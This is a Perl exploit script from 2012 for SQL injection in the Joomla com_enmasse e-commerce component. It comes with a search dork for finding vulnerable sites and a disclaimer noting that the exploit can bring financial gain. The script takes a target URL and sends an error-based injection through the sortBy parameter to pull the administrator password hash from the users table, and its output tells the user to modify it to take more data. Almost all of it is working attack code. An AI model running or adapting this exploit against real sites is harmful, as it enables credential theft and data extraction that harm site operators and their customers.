# Exploit Title: Joomla com_enmasse Remote Exploit
# Author: Daniel Barragan "D4NB4R"
# Español
# hola, este exploit afecta sitios de ecommerce por lo cual el exploit solo dara una muestra
# de la extraccion posible de datos, No me hago responsable del uso que se le de. ya que es
# posible obtener lucro economico por medio del mismo. El script esta hecho con tablas por
# defecto de joomla.
# English
# hi, this exploit affects ecommerce sites so the exploit only give a sample of the
# possible extraction of data, I am not responsible for any use that is given. since
# it is possible to obtain economic profit through this. the script is done with joomla default tables.
#!/usr/bin/perl -w
########################################
# Exploit Title: Joomla com_enmasse Remote Exploit
#
# Dork: inurl:index.php?option=com_enmasse
#
# Date: [06-08-2012]
#
# Author: Daniel Barragan "D4NB4R"
#
# Twitter: @D4NB4R
#
# site: http://poisonsecurity.wordpress.com/
#
# Vendor: http://www.matamko.com/
#
# Version: 1.2.0.4 (last update on Jul 27, 2012)
#
# License: Enmasse 6 Months Support & Subscription - USD$358.20
#
# Demo: http://www.matamko.com/products/filexpress/live-demo.html
#
# Tested on: [Linux(bt5)-Windows(7ultimate)]
#
# Gretz: r0073r, indoushka, Ksha, Devboot, pilotcast, shine, aku, navi, dedalo etc....
########################################
print "\t\t\n\n";
print "\t\n";
print "\t Daniel Barragan D4NB4R \n";
print "\t \n";
print "\t Joomla com_enmasse Remote Exploit \n";
print "\t\n\n";
use LWP::UserAgent;
print "\nIngrese el Sitio:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$concatene="concat(password)";
$table="jos_users";
$d4nb4r="floor";
$com="com_enmasse";
$seleccione="select";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "index.php?categoryId=1&controller=deal&keyword=1&locationId=1&option=".$com."&sortBy=117 and(".$seleccione." 1 from(".$seleccione." count(*),concat((".$seleccione." (".$seleccione." (".$seleccione." ".$concatene." from ".$table." Order by username limit 0,1) ) from `information_schema`.tables limit 0%2C1)%2C".$d4nb4r."(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-:a-fA-F]{32})/) {
print "\n Hash Admin : $1\n\n";
print " El exploit fue exitoso si desea ver mas datos modifique el script\n";
print " The exploit was successful if you want to see more data modify the script\n";
}
else{print "\n[-] No se pudo, intente manualmente\n";}
#####Daniel Barragan D4NB4R 2012################